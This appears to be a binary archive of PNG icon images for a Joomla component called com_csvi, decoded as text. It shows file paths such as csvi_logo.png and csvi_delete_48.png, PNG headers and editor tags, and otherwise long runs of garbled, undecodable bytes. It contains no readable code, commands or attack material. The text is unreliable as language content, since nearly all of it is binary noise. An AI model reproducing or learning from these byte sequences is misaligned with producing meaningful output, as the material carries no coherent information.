oWUmc41 6x.֑k&uՐG0ODI myP73JOOi66@T(/f]\9jvT{dCCӬ]M .]X>=|CZڴi 'D `lk+)蓇r[rbLi408]M*kfN2>ac٘ORPk쮶3Y {ҥ~KNݲXV6L8h2MYS.86 s8M+@2दR.)ݰmЈ8䃣ﶱYl܊@PYJ ~\Ѧ%`C\B'com_csvi/assets/images/csvi_logo_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTE2CtRNSfYlIDATxboSvXЅe18h緯Y7;_=%]u׸ؿɽ^mх a>w3s0}Sݣ>S3[]wۚgk~Mܽ|v8lnvvM}55}J}m.߾*=yFn V p:ߝ? X۽  庋Q1/^T0!;;BHwX~Z3G% Gê{j0 ~`ymʾrqC̎?6tOm̟ q(7QL䆉*&חZ}A!;W;轚II3g&Z6QkIcvì֗Or-[ I\^>/Og72df)sLd@|0=eii,뫫-3 ?=\q`PAmZ3"UTUT"#&hij[AxAA0rEMEL aEE'\X?M߶lsu4ofW3_K -tarrWYEZ$q 7<&5y?Z-ri*m|||lb&1slk5ĕǶ_WKI&=օF_# ZdcIIEťK%%=g}1 J0VKv͛%=$%Nj$~jabikK=={{VH#QaUy mU-K2:~ywmEmlDm{."2Da=~(WK74}hW_}ra^Y8^1;uˋQ'acIENDB`PKs>\J1,;,;$com_csvi/assets/images/csvi_logo.pngnuW+APNG  IHDRDj9;sRGBgAMA a pHYsodtEXtSoftwarePaint.NET v3.5.6ЃZ:IDATx^|V#XV}KK+Uu=:8)C@# {=&lٌ@H@Ȃ&wx= DBq9??_ JWs .U{NN}0f¤ 2ҎL=R| |cnyu9ߓ|%+jᜢ hEfgVI?QhRc&hzl9\`6:mLt*3~ߩ濸iO~jҷ|%pܢM=S7rPtHfpz ʬF1{ٝxݮqy?\w@%%p$rC N $1~ _ƿ㏭`N}&7a]yfeF ߙ'|%+˨@n} To7 v!d y Z AB`Vw`9Z3v4OiSr߾w)zK_~љ0B+ԨL:w4 ޒeFn:nFmEFA{Сߠ{رC'Q.f,tCGD9^hJC)( %r(šXi A\gZhF?@!hяA#PaWK9ڡQ !F;z^@?=z999 1 }݉nG qH`pCˑ q38 %Vai(p>/B9Bg<¾<; pk K5'KuS 2ǂ)D9( 8d9 F,ϵP 1 Y A**@0U :+-@w\ x/g1z ,~7\u 1f;F%5((aPP݆`!TMrD>k]5vw{'{ge4X`&dvTB p,,0:=(ȑ#;X4Kg c>(#H`z#DsG7FVtxyopo<<Ʋ}ٿ;#/Hw! @@#5h= k*(wB 2;[(93)׬I-G bjfmF3tےRmC}>WZ(0RTaaX N#@Gq<^( cHFI(z M(py<L> *AU@`CwhPGPР'4pTLJ(N8K`*<BGP}0d<3@^Pja;HÄO@8ѪsRFj?gJdkU',H1S̤^+L &pn|f;3$mO~.p |Wfeԣ%x"Jb'1  ɂr AYYYah%* k-€T` 9Jr=BbyU% +& VA'G$^}/eqesBʒjQ- >T{X$!A3XqX? A#VGi'"B ]3'9+G |7yzbjٰ`ƍfu74/m:wl̙cw %%L47p޽Yf3`w}wĹ"T(&P‰#F8Ҹqa蛴&ML۶m 0Ȃ` -F ?4m 4(lCCo۲e˲-Z??~|ZV4xjiK~gY\`j=9% Xh(~ nXYu:u2n=w 7NZif`L0k_oz饗|`"""sX:t0#Cz?Ob zL2L!Cj>0˴PDw1RN:bAK-?B xMKb_5?={vG}d5kfƎ[B> 𤳟_%5ՌdaB@Hõ-[ *& mh𨒅 A=Y!BA`hx#:ܹs/aVq *}.h0d{{ B㮇b2XRaAUԷ`B.fp&#C}xEgՠm+.3WNSV/3=1~| ^8Xȃ$=Ȼv+A58: ) $R·~t<:ڵku05F8Xi==zd["***uf Ƥ?G=Ҷm Xd&`P}zlT(G`C5zC _@GTtرGгgϓ<>7+z ,w]4ì@~/.{L ^rjvl7`KqeJL0}2z.M!_}8qkKGA<#tҴtlݦFO N:5<#\In dl9-HH2k:0xHԸ ԰˖-+W7=lٲE;4p<}(X0S 9$6m$s)a5З(t[Ù1@a4?e֭~ITXXx]q.S1 ºY rAHdGd:^w' +i5pB,X wqu\z;]'J$ƶ,<0Jd7L&\B d!q0:( YfHRrFOPhA槜8qlW^;PaM4C 9}E(! BC]ʺbd!Xr+RpppՀ2|7z1TxCCG$Yݎ?#}嗆pŁe !7"*Em:Zs}4I>hq-y2d_*z!K.{7 .#ض3ә,TM ۲8#'dQ{j^R6m*Ep0`xAxBy9Gu1α9G!G5e%lQ9%opxB%Uz*&QI 2)mq߈A乼$ ؔ~ ,*G^@-XjӅNL[l-3]T%qog#De0A<*^>Jh=xYw(BOFa &ԨB;P'p PD@K wۙH%[y2.uINj, `W`A @Hrqm޳@}᚟uI<d!w!00u%a9q׽89yCyaW.X<bƌn8= 1fbAb%k~g}vω_/8HԸ̍e\#8x@ 1(4>Dhh""22RY^E9tNPZ@ Z XV]lN4s=JsdO~<cg;pNJsOCfY P&}==Ct^A@X|!;Gƛ.V;G3-4M3Q=XMg2rR+ni[ Pʽu jZ JpulfE'< TjC ь w &NհARRnA@y Pc35h Wju HC||d} Tn.qk Xr 5q{͇cƌ qjAV'G@b9jh @rzK0! v ~lpQh`@M kA9UJ⍨o , mlfۻXfeMRZp;Y_.Goq4&71~(D c{4f5f}fd%—SYJ9xjf3ŠsM!3L렩f}Bb9Hr)5X1z <DDryG.i)5VDKK cf)k@1h΂J SS]p?))%'2]y< ; #eAaAdO$?vROD~;:ySr7KX@P&=Cl3'q@h^6IiC $aO:f`h^=ʿX cT7!6lZO gvе؄ km҂O"Pބ7q>-(>.`{3SӅ{ ` <ooFhˋiN2U DzsͰf@XN0(,h7qt \]t@P= (G6lP\D-K JP1* EتYVxlmެYJY Xt/`<7!W >.\x6sҲq bJA@ !hHp AGb n`"t/b `C, 0l~6dԸ+mG)lU @L-^jFOW Bޕ@zbFy0bmiYw/dիm͊ (ǃɳIJkC9ʁk_ыd HM08L _踃fz v_0Vɱ;Xbo"1sjS ¶G̠Te鹘F:M9PX o׸P'^ܞ{f!s,J2NLo%uؿq3˸^, I,+rMF"jiFƢ 0RQaY  d _: JY<\)IP`C9Z"lWkd}+yFuKf WuiA@U(t$@DhZBh)>f,ͨDh$]P@a6 ^/ئ1N[++nŰ go`@!{Jt-JFћ; }fFFq1&^)hsn}YenB֥ S.ٶ:b8&gr]&(l7Ղ8Ӆ&.3Gf$ bYQmX9P ;k25U֩irZj+jQsUwdHChwER@a v 0t' չHJ#>qJ() zbAAP^خԸg*O* n By-4s?@O Et)B蜞 Mmv mw% H"tnP|k(ML!̳0d# A^رeRh޹֋p5lo} l ܃8Fy]m+ 3QJFH3/%}oܽVWAjxII_G38wG)p$ qZ/$k\[MRrێR<>)3M0zDz O`9#R͈fDV32,LjR<Vl_lFdFf>[#o۽|v핛/ ,ژfVl1&כ/fŘNW6(Iof{JZAknĠ<yd2(fuS()XoEK*:X=O  $S^85J=IvE$92ATel{֪/vv/x uYnٶk741 Fd{4R P>OPSt&)m!GY4Fy'T@=PWqEΨD  M/d*[L5, Q1ڎRgo` .)T ʈ1C7C*kva1;pxyĊ3-jI6.jcoF.Xݲ-f}<;_@H؞n1'%8}4dԚNDxAT ]TwJL_ ԓDs_Ф mc!m6qp%ɓ^x8S 4$XCE[5uynbmxssyj5@Ih+d:0U;z,fڎe/՚^d n4P6Skm5><Qca-yԺ@U-,2{՜'fYҠ#1ۋ%_5b<[Hv7G9,# GW@ÐZq:f(V\׿5FR~ӜzAM1Bc + Px!w9]wY\1)ȺF)CG\$݇xJvc'YҔG= #inϛ$zY <pRVj"%pxWX, ELUVtCy@Qu,՞=hFfuW4 Xj] [g/5kN_%$Qqfµf5h8-tԴaQ!x&ak.5  k  f >'!$r  8gWBD4CNjEz`!@y` ForTg:s Ϩ$P([gb GP[ z+ଶV^˜ N# eBPu֑z/K4}Qee̠ef 8L[o/]m":Ư5J#'ڟ P62#:3dA 1fGnMIL{FS͇G0xpox@РN! .5m@66So27xܳBy[+AUB`0C(?GmAyjj٨\h<Ÿ NxB.y*GpUN^^yWtvӛ|E?x{q,sי טaQf^jzZi5w]Zj{'(eh3x^ mύ@ tt^h>;m  P% #?A*_\I@=j6< WTjb<O:B@ xnö]= p{R+*DjrәW6CQ pZ MGz ӨnO8h~ntUn'Mv}Ճp! V̰yf8Y5~vdYHXDƬ13VDkph BD^"LwLG fb4iq&pX*jFH10@+@xi%dxp A>3SI¨:Σ,F[H@C>pk==jR?FQ+`~{E.z 9/ALBo)Ԍq5D#%CJ{~{ Uw%Q?E|Puvt+.n̿jsz:ZʨפְыiT #`b٫M9kLz7>h~ ̋4CC#̰0 YaVDDA%DFǘf3<4 ns#@3ݧ2]&/ L[>zt3{ua.W%0pf]zE.#L(}V37 6q߃BZ|sL?sϸS˸P`e @z 3_M_i :O\l:oڐ}ƛ潃Oe_ Pϭs^vOㄥtYnL]am># 5^.j \jca2~0cS96Swд=״u&@ }׮݃kJ`ȱ5/%זvcS?W0]z=fS޳0p/K{?-j}~oj~=@i@|>ϱsЈ' |<_Sx T §#kCL.]`:[d> h BVb+d_y_.>`dLi˱[ &4lZ ;+\}+6bΏ>6{y[f nD -q[Eӎ~;?[uȶ2v|qZ4Q n;8c+ wѾKǰ5?2OOD-$ے\=>f <5ۍ{F|ֺvW/9?8LfKZeWb9WWD |>pJ@f킦WM~0lbpy)m?"q;9B3B֮g}ֿQXXwyg5k^L۾g|oᖸG.9,[ )5Si^c[}5rP=ohРAq0Rݓ.뮻4lذVFCQ?swӢӛM?۷EaZ~5jk˞c?ѲOpf9zo>"h{f/k>ī?ˍ}}GXw??C ~`p'we {jb{͏?,롻|0z 0\O&0F 6a?D8?F5fqc1s71;uQlmyمW$yxZp$o3ν{-0  S;]zk ja-^_u Q =b}Coȶ 1wC^.ѐ74S y FCӐB8RR/hKCj!hGWй;5w]Bڄ jwsJ1aa7'@n Ԁ X߀` xLހWA5UO xK6ӀWM'g;@PhTp~ k_gOGv`p$zP|rK5sMYn bwa0ʟRKe}gcy}S}^TW=My{}XK^o}kmE}>B}P;y* rq;00!ӼG\ξAooww;1J.K-^㭋pu1~]^YIuuyUx]^TWJyy}```]P(uc\C]_W0u”;V`p30?>xX|2KïAM\7YM|3-uؾP`u0:z^]O>uxQe~߿8K-{myYh:Pq͵89:„[n73oZ„k?+1kD~5`w`8 ux{0chРAu^i{L*.\:'AA0`p= A-`gPEWf P k$燑_C~-.??1Lg{|\{ ؟ǰ1p ʹ RNvO< ^9 H MiQ'XքZYK&͞(j5k5Sa~x~Oq ?cè;xWv׶ڏ90~\sNr~x$~xj#aG}jɓ~5;eQ=wYIENDB`PKs>\ag99(com_csvi/assets/images/csvi_reset_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTEӹ䓯#N{Imܳ|3a勲uBv鄣\}V}꒿tEy`~喻ұjcm֧I}ٵ¡9dUt4Z:lYFum@dsN͞zPDrc7PpU!^S{UZ斊gB<( ޙX;͛lYI[&U-134lyy '(I7>WPvPJx&PEͺ6Q%,' Ͽ]4‚E(T^˛,#% "a3-ZsnIe,[RWW6ZXXH"'#Ųz%#XWzP*!a9zk/\w ,Y+9mPǜgIʮR6m%jRfe2s_͵Q/fTVW.fбOUvi Ij\EE)com_csvi/assets/images/csvi_cancel_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<PLTE㊥vǰӨggɑϱv[DsݳGy꒦>oqDj`dr½[{L~dܯvէ̤Ș림Crycs\vڝ䖩ֺ_eѷ;hs8a즸ˣtRNSJ IDATxbX6-"F 6k.+]l0(T_\LH+JNns). 2k7lPX.2AIƋC3<'%s{Z{ 3m3KR\)նЊGh*LLLM ։nƖA &v‘sg 2ɚ$OLL5w:'Ip+0321f3{.seBAV֯wpOU OW?bIENDB`PKs>\JM )com_csvi/assets/images/csvi_delete_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE-Y3\2a:a=o:k7g[z,Wib@rBuNp4d/\@fGjpTvTt?rb2)stRNSfYIDATx|XSWoa$%@BA( T@BdYY u!I!vYaQ"*UPRC\7xA;ι|7.J F>'G,Fo?(Bg"W}QLn҈8}`07QIf%-_luNN?;9]ti \V M[ZPoj*zJԮnxҕ?HWOOWWPP҃}0ρx#?}}}7:;nok+-mkkJHq*I T5gI"5nmvww0;E@Q9=EE$+1!PW\d+YId0dr8ūbp=/pA墢KyP> {`($Nr{{nEuPLY){-FKmEW:99edqqqsKD`-hc]\ZZ !liM???H7'OφGh|]Ȉ{ (Fsu==i#.@Lu'il (M Lm ;O==OOk-FF{ʀ@Hȉ]xd1ˀ@2ߗ |D;'(wnp0Q"$ [BNM2ߣG/'"m66Yrx.%mjlrB9sO exeY\^n[VqfR[lfffP}n]EquwoFjkk< gJGGXQ%"Zi:*FC]MͩSxԀ;:4t Ό>2}\5׮3;[qhhh܃~n{1g!ȀLo'&rg6ޖiΌ*'ގޠu LOvr 3=8Mځ0ۙB٢IA UљyIXJvL v/$2PcG ǣD61B3zJϭZAT>_E*،N@JO80;{*_H$?Z]]"QQRajYPS8zFGTP^^fJ9!QWX +-<&G(Gbc"JC ]ˤ^4Ba@w*1{?0GMZRS _-A &9\ѻo9GɑQnP3mUFT/G/2|&a;IENDB`PKs>\W.com_csvi/assets/images/csvi_maintenance_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<PLTEq>\}]vəh&HlPpg]v?]~]u<\}l{谾낕A^~kto^|\{`{᧺ʽIeEb)Mq<[|恔Xr@]~暭Ǧpꉜ㒶̛ꄚxգj߬Yr^vmpĬџء䬼C`A]~MiitRNSFIDATxcKI X9S /1dT~{BȔ.bOEkl2x 6P[|,ZDLm*'7H4efnJ) ̹M"h+_\^i$j! 8:RF`yu = %pͶtU-3A(VԬ?GwgŸrщavWs}Yz& q i$PSIENDB`PKs>\<_,com_csvi/assets/images/csvi_av_fields_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTEw疓yxנhsݜlɟ~ޜkɠ~ߴ߬ݛkyx뻨ç㇄۝oǢkv߰򣜞֦嘔ctRNSS%>IDATxb*|'yX؅e1i5-O?]ڌYΛ{;;;{|?<â EA<͝`߹@rBZ2ggonnn=)ΞyYdoQ: *1gꀠ"(gV#υG޾ ۳T1sûR(}XTБp_ !!SKK88l`sQMD[8(Uu0+gTZ#|iɓ'nk<A30gdTfuf-F=挪Do^L wVVIa7wݑQŐQ;YV^M޽ύ}IK6yDYji}OWΧFzH(8 TPR"aŋ͢@[ėTMk2Ֆ{8~2UFA x^z6ڒ@%Wc7Kv0,*hccd4-m9L(҉^5.be6ǢYN`ָT; u%L0Hھ ]R_fϾ{fS0 uww@,AӱB \ Gt0^SIy?p*TXr*1FbVa3$([ "zQnˤ‰`^X'[zUNʶ98\j@[ZˀjʪA拣d=ez劭 t ZU^Zz^31r7;ym\t! `("IENDB`PKs>\f=  'com_csvi/assets/images/csvi_save_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTEExBu3\-Y=n[zTu:k@fp7g?q:a2a/\vbi4dGj@rNpoNoTt:_+W4cHkTatRNSS%IDATx| \e_jm8 D q :E<*5 ]JK6.B`Ny١Yt,#J"2/<1cF(ӳ S*I02g0l<G]F#!YY.zqŀ&a}kAp?YYYl;;#H`'prڻC`t p鷃nA!8*!ܳ%!J'&3!88n߳ KTe\3`ܸ1*[ zQQ(ѱhOE= Gxc0zBaĐ#(q8DC""ZDF2PC=3ʫW".&a^~P%( QZ8q| ]؛7ϞUhll@kIb0 X~M@#ė'S0ia|%##k֮=~6k׎+/6G}kFg||Zf>BBid(+LJy 0%%B&Q ծ]'sbkZW**'WOHhook;kݙ+m/u*jbn%}RQ+m 8[-0*Wwt6?`N}XMl"OZPNA8yii/>|ZǓ=eE&Cgc64+ /i3, 2DUgRAJKWezdwr%pjA> oit {V JWTTTj\x*Q"T 4\.com_csvi/assets/images/csvi_log_details_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTEHoxʜݙڤֲڹ杲-YQ뎫6]aߠBg:iGy􍥽n㞶ҚUvXׯQxhNtQ|ի䇱ͰXxlݳϼꁪǟ䃯˘X`xj{Ǘ]]n×du焜DZܴi`~ݠ〱ЃV䢳ǒ٪katRNSfYAIDATxbi*^ܯ'mr׃e1N WTL(qNI;yWO-yIS7 ;;聉BCbDŽ: Re'V9ɮ.6knkݡ ]zum@0qbmmmLܓ TVibU{O*Vrpe߮P ΛT '~DmXXںb{n{+q0ÿȼW> 87|}+L*^fH-/3HcdrI1<""ZV _R(%u"" umYZ|qϏ-_6!#Kq` +2\Q,222| ~OW>*hZ8̌E 4 TLknj[Kse G#L]?wF4C|Su;Y7QsV_S2,Ld`9GnmZZG..D1M03]m{A6 mx Jێw yym7#K\-"nbf%V[?|Xő/YR)2oN'#ZL@!{O%{vÇv&f.H'4=?Dsr~;e,_ eĩ̼mGhP H ԀCzJ^aj&t=Zj" 6 0r7/3$=B nIENDB`PKs>\JaS S )com_csvi/assets/images/csvi_export_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTEbEx3biBu-Y3\eG{=o:a:k7g@f/\DwGjNppNoG|v@r+WHkbo|jvtRNSS%IDATx| \SUǯ0!Q2`6LSJ05塡(AV84L@wjTd=tn \P=8"S4mR]#\ϋNYЌ^NCgWG=Jw>mk.$`8aX؝w4|vI A47sI$^> Hkp!*E$&Q|uw{m{>tCqIQs &@4I@wHPT=%>~hӴ+9+@;9mm̥͟ iu<辰0o{`fc#@ơ>-d;h4228c|.s==699h\&.[\.dpbWGNC ! QT- s#ـ?&,dr0Bѡ #ȧ$QdeeA2^(PiC1II'o,c86,a?)<<nZK`[X,i3pΜ9yr padjw$f ~([ocb}!`t~~~TlI|: ccAER3U[bccߚ͛P5Aûvv-UU/੪+^aV;IPt7E%'>789N/-Oi) S%` ;P@9}oNf?f' vׁLp'ݸ .fNՁLJ$u ,d ıXaⰆu눋OI@$%d~ݥMW>2t)3u*T N*ukfz#<,LW?5zJ]z֬q <ՙ~~~vJiyTzB*---V\lR ; zJ}@avJ  TV>jCCei92OT4BE@Yxʰ@"Dga%VDPPR4Cķx2:v2yApbXb_}=0!Lxollҥnn< jǞUbB~d*\}}c簇ǸFa^2#*dbeMѸJu/ K3ހ>)irC_G A%Ո峳'UFZՏfXme:8h-09 J6tjXm #Fi-}ha4,4rEY/52@x(k0/>s/EOp25 xo#%}v/h_=IENDB`PKs>\(com_csvi/assets/images/csvi_clone_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTE~YVV6s!뭵&( W<(1lee3PP R6REلNDr=R-Z oׅ*XdƒZ[MS[[[OL GNHﯞ [}A^B_C;58:.a+am~goUb'_ m=, sN(l6;iNP)\ |~ܪ\)/*eSVWgPU#y&` hnss^5^t8m+ZyOAYi`~6|8vsy:O 3i}oJe& U&mp?CzF\u 'com_csvi/assets/images/csvi_back_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTEV-Y2[i3bGk䙵{M|ޫOiIuDhAs;kƞd`Tu:a/\@fNp7g=o[znućrԚQs=tRNSS%IDATx| \eǷlɘ0q_S D.cNRLK.1!,M&)l@8W2@`RC%%Aa%eY6y}=M'I-WV7|W͑&7|2GP |`JdE+4Sb֡#Lz=I]rڬ׺#t/bM!k9++hF/:Z葓Z.; `Yds02\RFFFNee,*DK˲2=p&4C1 ;a2,R;>-0>Vbg<YBBLV_[#9|0pG1>L;݁Esh!7 erI>դ$ڼHS%&%].WAKKOclٲ$d^`*M \%z[yj ="GЀ'="Bߏ %T#CnXw^ZZjkknT _WXYھ\O آZ[!ێP(Zcc(H8ֱ.=(oܸo @Y:U J[6vm]bPPMf633ll2]\\@h =Hbcy"//O{WAFvAW.l#&βe:#;gyH#܋Zj]2*;bY6ubx/@t,do˜JA<4tV̯А @$VwaLPh04$?'?9#1 b2zJQ @G.7弚M&&rQ3xLcC)<\alRQPyz8߲UFҐ+e6Ad+ kEn^E=DQr5(Bk,"^ a d M.)fQ!BT3^NNR %?m9ô2q 00K<$IENDB`PKs>\z;| +com_csvi/assets/images/csvi_continue_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE2[-YY3bڢr䙵zM|ޫleGjIuOAsŴ;kdQsa7g=o:a/\@f[zNoTuNpEpulܚIqFtRNSS%&IDATx| \ee &cB00@!@B͸ r"y&t%l 9rjP'fAT+.qLPώy~}xOgc FwWaLfl^Lϑ**KGT(0${4nEfZzØㄨ%͊~狞9MwB!F)"=fY _MssOb +LYu74r7u@?) Mmmun3ښOF 0~⻉45UIUimY4̗CHh4 1qtZȷ#(ZrTqhpmMA\ r)YgDp4ǥBo_@ e fxx`NG3 3<'vxƥ6t_N< d_ Ƞ׃rxח~+NNN p SJp"׬wj^ 5#99S3c +:;#S 鴳so+'13otKƖ p,g5EV] ceElOϑcҭj\]ZZjll<.r*+g1 {z,,>g{~8山(fp,Jm8~[|6.Б zUAAйaO[Y|0c8ONqwwlEPwD59˗dh!`~/+9jtS+|}W\&؎x߄ C b]{J_4?V*o  ԼCSRwLHȯnp=)//ls Oo^X6i);SH$4nl1l А]648xv928Hj;!???n PHKKV9]_Cvii4?Pn BhIIRq2) Ul[;I͋P :#hjiP(v!Beڄ8TBp{{rkl0j}xou|Y+ |'RBd+69 :=] ڣ2Z... >DB_Hbmw*999zZj| jǭ 1ȁb=>lYHxȫυ@/ uƅ{P˝TK Q%H;.J\ׅ2 ud/HvyO/dSo*A2<|^5H̬f% yNȇu$B.ͭRtP#|a-&&r38n0rͅ-VS£[ڨQr7B\RyreWM1Rn.t?BtvQ@jp]أ *(,B &LWpf CDS^N\Mk==)com_csvi/assets/images/csvi_import_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<PLTE됦zkrڭVㅪƫvɎLԶk얹wʴ|rzꐥ㢵o㠴z遲Љ䂜{sCvŢq䦼ϓݔݸ㭿ЪBv PԂtRNS\dIDATxbK$28MC@l 649I*۟ ,Y_̜ (n^e@$"&%"K0KrJ+|lDUx5iHdX?qfh ,U/vd^+nWV2LK0Q/bqCάuaiS:yT*D[-{M h)e 1Y1=|@A k93rL{)Y_H@ TlAl(U?T|IENDB`PKs>\8V[['com_csvi/assets/images/csvi_logo_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<%PLTE;3'tRNSp IDATxb ҂\V @\3U0~bЌI L`sYMer9X=f1;@%;Rmm/+M;. YY*ʈA%zBBvN4j-.]""$v.CAxvD cWYgrs.*`.w6Xrg]) >6e-r) [F0004-b:}"W2wi`y9HrY@\^9)com_csvi/assets/images/csvi_cancel_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTE8hQ}~t4bZzI}\MnUwݪڴYU,YmbEhUz=elƷ1[y}aj[ڥGrCmDxBufu Ͼ톙 4U{rgF__ ^(ysoҤ>0kҐ@PoF}}}7)i,WWީ0 ^ }< |WNsZΦĮM9>wL+,7-%:%K rSlٜfT`R͢TMcP`PӀb* ثq]g{"/?-uॊOd'{NOfd3(Ve?ݭ-*-+czqaj;io= 7k8:fa𩮞GEccQWQ{2'rjW:-4oBJ=w156.0a„o'@@(5ͧ__]W-Hxׂ6oɫz^20tXet_jkCLOGǗ/vH߿:Hx뜎] [:fK;'v%Ďƺba~MI~1*)g']V ˤ> bkdfcWU|<yT((YF$ PEΞ=w]QQsF+(Pah~A^8\j:uRIŸ?)2^JW,SO:k ,+Oa ` ab9? q$Q 5Qf+ ʲE˼ʖl jV#w~K ?D"D >Vh\IENDB`PKs>\x!`(com_csvi/assets/images/csvi_reset_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<pPLTEK~H}h7^n޾׾놠킱͈c߳鋽ڟޒ醟a嘱Ɲ喴˚ȫކԏ=o>o=f~̙]鉷F{[zcI|0^\~ڸ?eBr[y}ŧݤlHjvF{U1`*V^ގ'KtRNS^IDATxbSEسsl ` ŒNeG8,%6pps2W12m9dƿnNX4׎y\0,.com_csvi/assets/images/csvi_maintenance_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTE㞴0Ru줺򎢶9Z{Xr䓧錟bzDa䜭{qUodulブnNiMi~t&Gk(KpOn殾ͤY}i^vNqr{7Xy?`ݯŔ4Tvyyw?]}WwWz.QuԽ棵m٩rsftRNSS%IDATxbzs|[x-U-z+fφ3@sWjcwr=>z8`Wg%pUe+z= DU{1gL|BKZƲ+$+?Ve Q0Z2'3pɽPu V0GݲomI0 US31v T0Uun@2P~ߚ\X#葜2|-į2vGWNk-g0gּ >?.2Q w= /_.NJan֯o7Y\}cNz&#w& /穾W?C?q|*CdB@8q /m\h_? ? &com_csvi/assets/images/csvi_add_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE2\=dI}/\1_4^.ZG{4]/[^|K7_0[JmrWwxe?pkтG vRHyW$L+"Qzܰdrρ1L$bD FHw1uzz $g#() /)!aS6l AHޝ=/eH6 b^wkקdu*@8Aٞe{y:bI[[D%ؐDR ´mW9wݿ: ,_X([KK/H TJ%?Sr6l(-|rJD-h֑CPhω:@wź4sȔJ#.D/=hѢ/P:_j>>Q}!!!:)IPIII>w{ROP'>))HnBdqqղ#7j};w)݃쒶p5v%XRrs?DZ,k+++TPɭ e$@Ys||X˗)zn}T ٙ s|ʒ*ZB\wj T%(I!˺ qxww3g>f"mUrjh]*d|U*""= T*զMx"B6<̩*LKGy%%I\^eѵ*IɒL&A"`*kPYxbm,`p( ڸ eU &5jd/DdgC/{-VD WUCWOWު LUMΟ;y oaV5r dO砗U0 %Yzeί1ŧ%უ,'QBkIN>n>/(Bä"j%IENDB`PKs>\\,,,com_csvi/assets/images/csvi_av_fields_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<PLTE㯪㥣콰繺屭䲧񲪤水姥宸曪让䯩帵촶뻱㲽㽯V7tRNSIDATxbX rb,\ )com_csvi/assets/images/csvi_delete_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTEz:k۶ּUu6a2[䣹͔yNtv六ɦ۪芠삮˼뜻Ұj-Yv򍣻㓴}ΆCgިaQ@s/^刢狦ٲVəǘ銭xLn穻ήԴ宾pgw|̢ՙ솞፻֠УװuFxBrtRNSS%|IDATxb {%e10tv9 -}zaI6?ӭ~N7oޤu<BQSavW㄄ͻ5ܽkhx]릜 &6Ɋ.sw_澤K|Su5{ŭ4[[-`gx!&9,ƚYݢVn孭=T{tk #ݭʏ-y{~֎)2DmrzuΧHlxpc?NsXX_ROqvu9P>s:X,'ʀK+B!Ur '-|5bӊ?\֊0J}h1 ===J\篏wZ+1r;{32Ƈڑ {{{;M0L>55 6qqCpTT do>/]-b6gc|nϞYw ٳ7?2*v;6-6@bɓLn|ÿ'W/U0QUI}?$wBW_0ٺL!I?t:`ɤreyuFfΞ;"0Q] Ys.7] t/Z4e^-h-510 H+dIENDB`PKs>\CeExʠf9g\)V ,com_csvi/assets/images/csvi_av_fields_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTEuЇONp:a/\:bb) tRNSS% IDATx| \e_W8Ƚ90+q"w@)X6+ؚ0b:M.  tZYXh~n\2lsrt~e$q*ȲP444tvR327d`hB"FgbSsܺukddhzb;#@A gI%0{j0=  -H%Tik?ehkWƾuKI&{o*@2l8dv2ffȗ~ 5\O|'<퓈;Hgff )~YͰw}}3$ #qL ltu4,oO3w ]G~Sb&&Nw ;s挸W 0,wʩD$b>AQ6kabjj:*SN6edz@l6'acc9*++kJ`/66;Lpļp6翣$Ӧ͐ Lf|)4] zL gmϩ‚9W?`?.7W~VC:boဠ.尿åioniamlR쉩>9oi)S}||J nԷs8 N]cl,GOOHR911qӓR#ٜz TOo?q`CzzQQQ]ўޔv2{ ZZvX*tZZZRA!G8~4btuEZ º!!\7oloJuţ`` $TdCVzyѸ|{E')G,/Ub"„c"""V.Cjn@4o777_bUlm9ϼ ʤr^,AQPhkk 5 ȠM(s0N*JOdxZә[ ?1 H\IY;6U U )com_csvi/assets/images/csvi_import_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTEgHk3bEyV:k-Y3\_厽٤7g:a[z뎺@f/\DwipBu⎾@ro=ob]O~Np扴둽ٳTtTv+WGvtPmtRNSS%IDATx| \SU/ kHmIӈ a%!M1"s(>UTTC(].&@~>{s~{9s.2=p'BeATfd^yg"%^e$6楴UP `5&( p.ǎ0(!|h'rrO:6Q+jnq/D55ܚdVlimu>Z[|%t+WO )P4M-lL@qP|@( [lM}Ǘŭe2(OEwp*@zuN(pZ\\sx)҅11ffCCGxLLdd[$5;]%>5&&Y},-6rn_YɃg1 }xvv􉉭UU󄪪v E"PT8x))tzY;!{8MxS̀C}8oo^:0INK2Mbcyp8޼"SL:0I[LX6m}Xazb0|Kذןч6r1;յdH,\T'پ5;{>llW&LWWs}@~Zlh>wK,NG+2}(P:##(aʕ&1!XPHHH0ptPՇBHHX B KlL!okW˵A~V> b\wwo ϟu?{?<,(d5;uxWKc0_7"#:j'ђ}}/|3|}ђh4]1!LL028,G %82@$K[ی Ѷ[%ҭK nF6m׍P6,zM}i1~UFF/HNY[IBT02::q'1qK *fWo v T`RY|b5* #C1ʂ%j3:-Jgk 5VeA\^yD;oSƌfbRVoy=ۮGA0NB9z,NÅ,zn`J3JCVJlpyu q3%!̀x'x'k #$XdnAXݏ'3e FuaeIENDB`PKs>\p'com_csvi/assets/images/csvi_cron_32.pngnuW+APNG  IHDR 